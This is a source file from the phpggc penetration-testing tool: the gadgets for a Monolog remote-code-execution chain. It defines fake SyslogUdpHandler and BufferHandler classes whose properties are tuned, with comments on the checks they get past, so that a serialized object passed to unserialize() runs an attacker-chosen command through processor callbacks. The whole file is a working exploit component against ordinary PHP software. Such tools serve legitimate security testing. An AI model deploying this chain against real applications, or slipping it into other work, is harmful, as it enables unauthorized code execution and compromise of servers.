Codebase list phpggc / 9fb92075-39c4-47d7-8003-d611806d626e/upstream/0.20210218+git20221129.0.8229f03 gadgetchains / Monolog / RCE / 1 / gadgets.php
9fb92075-39c4-47d7-8003-d611806d626e/upstream/0.20210218+git20221129.0.8229f03

Tree @9fb92075-39c4-47d7-8003-d611806d626e/upstream/0.20210218+git20221129.0.8229f03 (Download .tar.gz)

gadgets.php @9fb92075-39c4-47d7-8003-d611806d626e/upstream/0.20210218+git20221129.0.8229f03raw · history · blame

<?php

namespace Monolog\Handler
{
    class SyslogUdpHandler
    {
        protected $socket;

        function __construct($x)
        {
            $this->socket = $x;
        }
    }

    class BufferHandler
    {
        protected $handler;
        protected $bufferSize = -1;
        protected $buffer;
        # ($record['level'] < $this->level) == false
        protected $level = null;
        protected $initialized = true;
        # ($this->bufferLimit > 0 && $this->bufferSize === $this->bufferLimit) == false
        protected $bufferLimit = -1;
        protected $processors;

        function __construct($methods, $command)
        {
            $this->processors = $methods;
            $this->buffer = [$command];
            $this->handler = $this;
        }
    }
}